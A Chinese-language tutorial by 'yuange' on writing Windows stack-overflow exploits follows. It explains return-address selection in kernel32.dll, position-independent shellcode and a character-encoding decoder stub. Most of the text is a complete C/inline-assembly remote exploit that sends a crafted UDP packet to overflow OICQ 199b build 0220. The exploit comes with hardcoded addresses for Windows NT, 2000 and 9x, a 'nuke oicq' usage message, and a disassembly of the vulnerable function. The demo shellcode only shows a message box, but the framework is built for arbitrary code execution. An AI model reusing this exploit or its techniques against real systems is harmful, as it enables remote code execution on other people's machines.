WINDOWS下的溢出程序编写技巧
作者:袁哥
mail: yuange@163.net
?
??看了些WINDOWS下的溢出程序,觉得不够统一、完美,决定做一个相对较统一的编写方法,试着解决了些问题。
?
1、JMP ESP 的问题。
??????为了尽量统一,都使用KERNERL32。DLL的代码,因为至少同一系统KERNEL32。DLL模块装载地址变化可能小,
别的模块可能随着安装应用软件的环境不同装载地址不同,还有其模块安装是KERNEL32。DLL在比较前面,后面的
模块安装地址要随前面模块的变动而变动,所以还是决定用KERNEL32。DLL相对比较统一(就是同一系统不同版本
)。解决了JMP ESP (FF E4)代码找不到问题,增加使用
??????PUSH ESP ?(54)
??????。。。。
??????RET ??????(C3)
??????或者
??????PUSH ESP ?(54) ??????????
??????。。。。
??????RET 00XX ?(C2 XX 00) (RET NUM ,NUM最好不要太大,所以做限制 NUM=00XX)
??????代码,这可以找到很多了。“。。。”为几条不定语句,但要不影响功能的。
??????比如找到一处代码就可以使用:
?????????PUSH ESP
?????????AND ?AL,08
?????????RET ?10
?????选择原则尽量使用模块前面的可用的,因为不同版本前面的相同可能要大。
?????因为9X与NT系统模块装载地址有很大区别,所以用这方法不可能统一,我看了WINNT、WIN2000竟然
KERNEL32。DLL的装载地址也不一样,真有点。。。。具体哪个程序的溢出可以试着找那程序中的 JMP ESP,
但这地址一般都是0X00XXXXXX,所以也有问题。 这是否可以在程序中先识别要攻击系统的系统?下面程序是
用宏定义。
?
2、解决SHELLCODE的编写问题。
????原来很多程序的SHELLCODE都是用先编写好后用"/XAA/XBB"的形式写出来,一个是不好修改,还有不好看
到底是什么SHELLCODE。所以想法是SHELLCODE和溢出程序一起编写。这对SHELLCODE编写稍微有点要求,这就
是要求SHELLCODE代码是可移动代码,就是整个代码地址移动照常运行。为了减少不兼容,函数调用地址也用
LOADLIBRARY和GETPROCADDRESS得到,这样SHELLCODE就只依靠这两个参数。其实这两个参数也可以在内存里
面找到KERNEL32。DLL模块,再根据函数引出表自己得到地址。那样就只有JMP ESP地址在WINNT、WIN200、WIN9X
下没有统一了。
????程序中已经大致有了SHELLCODE编写的雏形。现在有几个问题:
?????一,确定SHELLCODE函数代码地址,直接指定得到的是一个JMP SHELLCODE的地址,应该有方法直接得到的。
?????二,SHELLCODE用C编写编译后往往有_CHKESP的一个调用,这可以改汇编编写或者找到里面的call _CHKESP
的代码用NOP填充。
?
3、SHELLCODE字符往往有要求,决定对SHELLCODE编码,前面加一小段代码对SHELLCODE解码,编码为符合要求的
SHELLCODE,这减轻对SHELLCODE编写的要求。不同要求主要改写这一小段编码代码。
???
?
/* ??oicq 199b build 0220 ??overflow program
?????copy by yuange ?2000。04。18
?????新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE
*/ ??
?
#include
#include
#include
#define ?NUKEWIN2000
//#define ?NUKEWIN9X
#ifdef ????NUKEWIN2000
#define ?RETEIPADDR ???eipwin2000
#define ?LoadLibraryfnaddress ???0x77e78023 ?//0x77E60000+0x00018023 ?LoadLibrary
#define ?GetProcAddressfnaddress 0x77e7564b ?//0X77E60000+0x0001564B ?GetProcAddress
#else
???#ifdef ??NUKEWIN9X
???#define ?RETEIPADDR ???eipwin9x
???#define ?LoadLibraryfnaddress ???0xbff77750 ?//0xbff70000+0x00007750 ?LoadLibrary
???#define ?GetProcAddressfnaddress 0xbff76e28 ?//0xbff70000+0x00006e28 ?GetProcAddress
???#else
???#define ?RETEIPADDR ???eipwinnt
???#define ?LoadLibraryfnaddress ???0x77EE391A ?//0x77ED0000+0x0001391A ?LoadLibrary
???#define ?GetProcAddressfnaddress 0x77eE4111 ?//0x77ED0000+0x00014111 ?GetProcAddress
???#endif
#endif
#define ?NOPCODE ???0x90
#define ?BUFFSIZE ??0x2000
#define ?OICQPORT ??4000
#define ?OICQOVERADD 7+0x41C
#define ?OVERADD ???OICQOVERADD
#define ?STR0 0
#define ?STR1 11
#define ?STR2 23
#define ?STR3 33
#define ?STR4 39
#define ?STR5 51
?
void ????shellcodefnlock();
void ????shellcodefn();
void ????cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
?
int main(int argc, char **argv)
{
??char *server;
??char *str="user32.dll""/x0""MessageBoxA""/x0"" ?secuess""/x0"" ?OK!""/x0""msvcrtd.dll""/x0""exit""/x0";
??char buff1[]="/x02/x01/x07/x00/x78/x11/x22/x33/x33/x33/x33/x33/x1f/x30/x1f/x37/x35/x1f""2000-4-10""/x1f""12:00:00""/x1f";
??/* oicq udp head */
?
??//0x77ed0000+0x1ddd4 ??kernel32.dll ??// ?push esp ??// ?and al,08 ??// ?ret 0c
??char ?eipwinnt[] ???="/xd4/xdd/xee/x77"; ????//0x77ed0000+0x0001ddd4
?
??char ?eipwin2000[] ?="/xea/x17/xe8/x77"; ????//0x77e60000+0x000217ea
??// ?kernel32.dll ????// ?push esp ?????????// ?and al,08 ?????????// ?ret 0c
?
??//0x77e2e32a user32.dll JMP ESP
??char ?eip2win2000[] = "/x2a/xe3/xe2/x77"; ?//0x77df0000+0x0003e32a
??char ?eipwin9x[] ???= "/xd9/x6a/xf7/xbf"; ?//0xbff70000+0x00006ad9
??// ?Kernel32.dll ????4.10.2184 ???????????????0xbff70000+0x0006ad9
??// push esp ?????// and al,0x10; ???// ret 0x10;
??
??char ???buff[BUFFSIZE];
??char ???shellcodebuff[0x1000];
??struct ?sockaddr_in s_in2,s_in3;
??struct ?hostent *he;
??char ???*shellcodefnadd,*chkespadd;
??unsigned ?int sendpacketlong;
??unsigned ?int i,j,k;
??unsigned ?char temp;
??int ????fd;
??u_short port,port1;
??SOCKET ?d_ip;
??WSADATA wsaData;
??
??int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
??if (result != 0) {
????????fprintf(stderr, "Your computer was not connected "
????????????"to the Internet at the time that "
????????????"this program was launched, or you "
????????????"do not have a 32-bit "
????????????"connection to the Internet.");
????????exit(1);
????}
?
??if(argc <2)
??{
???????WSACleanup( ); ???
???????fprintf(stderr,"/n nuke oicq ./n copy by yuange 2000.4.1. /n wellcome to my homepage http://yuange.yeah.net .");
???????fprintf(stderr, "/n usage: %s [port] /n", argv[0]);
???????exit(1);
??}
??else ?server = argv[1];
?
??d_ip = inet_addr(server);
??if(d_ip==-1){
?????he = gethostbyname(server);
?????if(!he)
?????{
???????WSACleanup( );
???????printf("/n Can't get the ip of %s !/n",server);
???????exit(1); ????
?????}
?????else ???memcpy(&d_ip, he->h_addr, 4);
??} ????
??if(argc>2) port = atoi(argv[2]);
??else port=OICQPORT;
??if(port==0) port=OICQPORT;
?
??fd = socket(AF_INET, SOCK_DGRAM,0);
??i=8000;
??setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
??s_in2.sin_family = AF_INET;
??if(argc>3) port1=atoi(argv[3]);
??else port1=OICQPORT;
??if(port1==0) port1=OICQPORT;
??s_in2.sin_port = htons(port1);
??s_in2.sin_addr.s_addr =0;
?????????
??s_in3.sin_family = AF_INET;
??s_in3.sin_port = htons(port);
??s_in3.sin_addr.s_addr = d_ip;
??bind(fd,(const struct sockaddr FAR* )&s_in2, sizeof(struct sockaddr_in));
??printf("/n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
?
??memset(buff,NOPCODE,BUFFSIZE);
??memcpy(buff,buff1,37);
?
??_asm{
?????????mov ESI,ESP
?????????cmp ESI,ESP
??}
??_chkesp();
??chkespadd=_chkesp;
??temp=*chkespadd;
??if(temp==0xe9) {
?????????++chkespadd;
// ????????(int *) i=(int*) *chkespadd;
?????????_asm{
?????????????mov EDI,dword ptr [chkespadd]
?????????????mov EDI,[EDI]
?????????????mov i,EDI
?????????}
?????????chkespadd+=i;
?????????chkespadd+=4;
??}
?
??shellcodefnadd=shellcodefnlock;
??temp=*shellcodefnadd;
??if(temp==0xe9) {
?????????++shellcodefnadd;
// ????????(int *) k=(int *) *shellcodefnadd;
?????????_asm{
?????????????mov EDI,dword ptr [shellcodefnadd]
?????????????mov EDI,[EDI]
?????????????mov k,EDI
?????????}
?????????shellcodefnadd+=k;
?????????shellcodefnadd+=4;
??}
?
??for(k=0;k<=0x500;++k){
?????????if(memcmp(shellcodefnadd+k,"/x90/x90/x90/x90",4)==0) break;
??}
??memcpy(buff+OVERADD+0x20,shellcodefnadd+k+4,80);
?????
??shellcodefnadd=shellcodefn;
??temp=*shellcodefnadd;
??if(temp==0xe9) {
??????????++shellcodefnadd;
// ????????(int *)k=*shellcodefnadd;
??????????_asm{
?????????????mov EDI,dword ptr [shellcodefnadd]
?????????????mov EDI,[EDI]
?????????????mov k,EDI
?????????}
?????????shellcodefnadd+=k;
?????????shellcodefnadd+=4;
??}
??
??for(k=0;k<=0x1000;++k){
?????????if(memcmp(shellcodefnadd+k,"/x90/x90/x90/x90",4)==0) break;
??}
?
??memcpy(shellcodebuff,shellcodefnadd,k); ??//j);
??cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k); ????
?
??
??memcpy(shellcodebuff+k,str,0x80);
??sendpacketlong=k+0x80;
??for(k=0;k<=0x200;++k){
?????????if(memcmp(buff+OVERADD+0x20+k,"/x90/x90/x90/x90",4)==0) break;
??}
?
??for(i=0;i
?????????temp=shellcodebuff[i];
?????????temp&=0xf0;
?????????temp=temp/0x10;
?????????temp+=0x41;
?????????buff[OVERADD+0x20+k]=temp;
?????????++k;
?????????temp=shellcodebuff[i];
?????????temp&=0x0f;
?????????temp+=0x41;
?????????buff[OVERADD+0x20+k]=temp;
?????????++k;
??}
??memcpy(buff+OVERADD,RETEIPADDR,4);
??sendpacketlong=OVERADD+0x20+k+0x10;
??for(i=0;i<1;++i){
?????j=rand();
?????buff1[0x5]=j;
?????buff1[0x6]=j+1;
?????j=sendpacketlong;
?????buff[j-1]=0x03;
?????fprintf(stderr,"/n send ?packet %d bytes.",j);
?????sendto(fd,buff,j,0,(const struct sockaddr FAR* )&s_in3,sizeof(struct sockaddr_in));
??}
??closesocket(fd);
??WSACleanup( );
??return(0);
}
??
void ?shellcodefnlock()
{
???????_asm{
??????????????nop
??????????????nop
??????????????nop
??????????????nop
??????????????jmp ??next
getediadd: ?????pop ??EDI
??????????????push ?EDI
??????????????pop ??ESI
looplock: ?????lodsw
??????????????sub ??AX,0x4141
??????????????shl ??AL,4
??????????????xor ??AL,AH
??????????????stosb
??????????????cmp ??AH,0x10
??????????????jb ???looplock
??????????????jmp ??shell
next: ????????call ?getediadd
shell: ??????????nop
??????????????nop
??????????????nop
??????????????nop
????}
}
?
void shellcodefn()
{
// ?????const char str[]="user32.dll""/x0""MessageBoxA""/x0""msvcrtd.dll""/x0""exit";
????FARPROC ?????procloadlib,procgetadd,procmsg,procexit;
????char ?????*stradd;
????HANDLE ???libhandle;
????procloadlib ?= ????LoadLibraryfnaddress;
????procgetadd ????= ????GetProcAddressfnaddress;
?????????_asm
????????{ ????
??????????????????????jmp ???nextcall
?????????getstradd: ??pop ???stradd
????????}
????????libhandle=procloadlib(stradd+STR0);
????????procmsg=procgetadd(libhandle,stradd+STR1);
????????procmsg(0,stradd+STR3,stradd+STR2,0);
// ???????libhandle=procloadlib(stradd+STR6);
// ???????opensocketadd=procgetadd(stradd+str7);
????????libhandle=procloadlib(stradd+STR4);
????????procexit =procgetadd(libhandle,stradd+STR5);
????????procexit(0);
????????_asm{
????????die: ????????jmp ?die ?????????????
????????nextcall: ???call getstradd
?????????????????????nop
?????????????????????nop
?????????????????????nop
?????????????????????nop
????????}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
???int i,k;
???unsigned char temp;
???char *calladd;
?
???for(i=0;i
???????temp=shellbuff[i];
???????if(temp==0xe8){
// ????????(int *)k=*(shellbuff+i+1);
?????????k=shellbuff+i+1;
????????????_asm{
??????????????mov EDI,k
?????????????mov EDI,[EDI]
?????????????mov k,EDI
?????????}
?
?????????calladd=fnadd;
?????????calladd+=k;
?????????calladd+=i;
?????????calladd+=5;
?????????if(calladd==chkesp){
?????????????shellbuff[i]=0x90;
?????????????shellbuff[i+1]=0x43; ??// inc ebx
?????????????shellbuff[i+2]=0x4b; ???// dec ebx
?????????????shellbuff[i+3]=0x43;
?????????????shellbuff[i+4]=0x4b;
?????????}
???????}
???}
}
?
?
?
/* OICQ有问题代码 ?
???
:00425D51 837C240800 ?????????????cmp dword ptr [esp+08], 00000000
:00425D56 740C ???????????????????je 00425D64
:00425D58 8B01 ???????????????????mov eax, dword ptr [ecx]
:00425D5A FF742408 ???????????????push [esp+08]
:00425D5E FF90B8000000 ???????????call dword ptr [eax+000000B8]
?
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425D56(C)
|
:00425D64 33C0 ???????????????????xor eax, eax
:00425D66 C20800 ?????????????????ret 0008
?
?
:00425D69 B8E4774900 ?????????????mov eax, 004977E4
:00425D6E E80D700300 ?????????????call 0045CD80
:00425D73 81EC10040000 ???????????sub esp, 00000410 ?
;有溢出 yrg 2000.04.18
;缓冲区大小
?
:00425D79 53 ?????????????????????push ebx
:00425D7A 56 ?????????????????????push esi
:00425D7B 8B7508 ?????????????????mov esi, dword ptr [ebp+08]
:00425D7E 8D85E4FBFFFF ???????????lea eax, dword ptr [ebp+FFFFFBE4]
:00425D84 57 ?????????????????????push edi
:00425D85 50 ?????????????????????push eax
:00425D86 FF7628 ?????????????????push [esi+28]
:00425D89 8BD9 ???????????????????mov ebx, ecx
:00425D8B FF7624 ?????????????????push [esi+24]
:00425D8E E8C9000000 ?????????????call 00425E5C
:00425D93 85C0 ???????????????????test eax, eax
:00425D95 0F84B0000000 ???????????je 00425E4B
:00425D9B 8D85E8FBFFFF ???????????lea eax, dword ptr [ebp+FFFFFBE8]
:00425DA1 8D4DF0 ?????????????????lea ecx, dword ptr [ebp-10]
:00425DA4 50 ?????????????????????push eax
:00425DA5 E8CFF10400 ?????????????call 00474F79
:00425DAA 8365FC00 ???????????????and dword ptr [ebp-04], 00000000
:00425DAE 8BBDE6FBFFFF ???????????mov edi, dword ptr [ebp+FFFFFBE6]
:00425DB4 56 ?????????????????????push esi
:00425DB5 8D4D08 ?????????????????lea ecx, dword ptr [ebp+08]
:00425DB8 E8BCF10400 ?????????????call 00474F79
:00425DBD 0FB785E4FBFFFF ?????????movzx eax, word ptr [ebp+FFFFFBE4]
:00425DC4 8B7620 ?????????????????mov esi, dword ptr [esi+20]
:00425DC7 83E878 ?????????????????sub eax, 00000078
:00425DCA C645FC01 ???????????????mov [ebp-04], 01
:00425DCE 7434 ???????????????????je 00425E04
:00425DD0 48 ?????????????????????dec eax
:00425DD1 7560 ???????????????????jne 00425E33
:00425DD3 51 ?????????????????????push ecx
:00425DD4 8D45F0 ?????????????????lea eax, dword ptr [ebp-10]
:00425DD7 8BCC ???????????????????mov ecx, esp
:00425DD9 8965EC ?????????????????mov dword ptr [ebp-14], esp
:00425DDC 50 ?????????????????????push eax
:00425DDD E89EEE0400 ?????????????call 00474C80
:00425DE2 57 ?????????????????????push edi
:00425DE3 56 ?????????????????????push esi
:00425DE4 51 ?????????????????????push ecx
:00425DE5 8D4508 ?????????????????lea eax, dword ptr [ebp+08]
:00425DE8 8BCC ???????????????????mov ecx, esp
:00425DEA 8965E8 ?????????????????mov dword ptr [ebp-18], esp
:00425DED 50 ?????????????????????push eax
:00425DEE C645FC03 ???????????????mov [ebp-04], 03
:00425DF2 E889EE0400 ?????????????call 00474C80
:00425DF7 8BCB ???????????????????mov ecx, ebx
:00425DF9 C645FC01 ???????????????mov [ebp-04], 01
:00425DFD E8D4030000 ?????????????call 004261D6
:00425E02 EB2F ???????????????????jmp 00425E33
?
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425DCE(C)
|
:00425E04 51 ?????????????????????push ecx
:00425E05 8D45F0 ?????????????????lea eax, dword ptr [ebp-10]
:00425E08 8BCC ???????????????????mov ecx, esp
:00425E0A 8965E8 ?????????????????mov dword ptr [ebp-18], esp
:00425E0D 50 ?????????????????????push eax
:00425E0E E86DEE0400 ?????????????call 00474C80
:00425E13 57 ?????????????????????push edi
:00425E14 56 ?????????????????????push esi
:00425E15 51 ?????????????????????push ecx
:00425E16 8D4508 ?????????????????lea eax, dword ptr [ebp+08]
:00425E19 8BCC ???????????????????mov ecx, esp
:00425E1B 8965EC ?????????????????mov dword ptr [ebp-14], esp
:00425E1E 50 ?????????????????????push eax
:00425E1F C645FC02 ???????????????mov [ebp-04], 02
:00425E23 E858EE0400 ?????????????call 00474C80
:00425E28 8BCB ???????????????????mov ecx, ebx
:00425E2A C645FC01 ???????????????mov [ebp-04], 01
:00425E2E E860040000 ?????????????call 00426293
?
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00425DD1(C), :00425E02(U)
|
:00425E33 8065FC00 ???????????????and byte ptr [ebp-04], 00
:00425E37 8D4D08 ?????????????????lea ecx, dword ptr [ebp+08]
:00425E3A E8CCF00400 ?????????????call 00474F0B
:00425E3F 834DFCFF ???????????????or dword ptr [ebp-04], FFFFFFFF
:00425E43 8D4DF0 ?????????????????lea ecx, dword ptr [ebp-10]
:00425E46 E8C0F00400 ?????????????call 00474F0B
?
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425D95(C)
|
:00425E4B 8B4DF4 ?????????????????mov ecx, dword ptr [ebp-0C]
:00425E4E 5F ?????????????????????pop edi
:00425E4F 5E ?????????????????????pop esi
:00425E50 64890D00000000 ?????????mov dword ptr fs:[00000000], ecx
:00425E57 5B ?????????????????????pop ebx
:00425E58 C9 ?????????????????????leave
:00425E59 C20400 ?????????????????ret 0004
*/
?
??
/* ????OICQ消息的UDP数据结构,参见ZER9的《OICQ的安全问题 》 ?
struct TOicqPtoP
{
char Tag1; // 0x02 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag2; // 0x01 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag3; // 0x07
char Tag4; // 0x00
char Tag5; // 0x78
char Tag6; // 这两个字节相当于 unix 上的进程 ID,
char Tag7; // 随便赋值就可。
char cOicqNub[]; // 发送方的Oicq 号码。 exp:123456
char cFF; // 0x1f 在所有的Oicq 信息结构中,分割符都是 0x1f
char cR; // '0' 固定
char cFF; //
char cE[]; // "75" ,这一位相对固定,可能是操作方式。
char cFF;
char cDateTime[]; // exp: "2000-4-10",0x1f,"12:00:12",0x1f
char OutMsg[]; // 发送的消息内容。
char cEnd; // 0x03 ,所有的 oicq 信息都已 0x03 为标记结束。
};
*/